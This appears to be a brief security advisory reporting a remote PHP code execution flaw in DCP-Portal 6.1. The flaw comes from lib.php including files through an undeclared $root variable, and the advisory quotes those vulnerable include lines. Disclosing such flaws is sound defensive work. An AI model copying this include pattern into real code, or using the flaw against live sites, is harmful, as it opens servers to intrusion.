------------------------------------------------------------------------


SUMMARY

" <http://www.dcp-portal.org/> DCP-Portal is a Content Management System 
(written in PHP, using MySql database)"

Improper input filtering allows attackers to execute PHP commands.

DETAILS

Vulnerable Systems:
 * DCP-Portal version 6.1

DCP-Portal does not declare the $root variable at the lib.php file, 
allowing attackers to execute PHP code.

Code Snips:
Error occured in lib.php, line 4/7:

include ("$root/library/lib_nav.php");
include ("$root/library/lib_mods.php");
include ("$root/library/lib_admin.php");
include ("$root/library/lib_3rd.php");

variable $root is not declared.
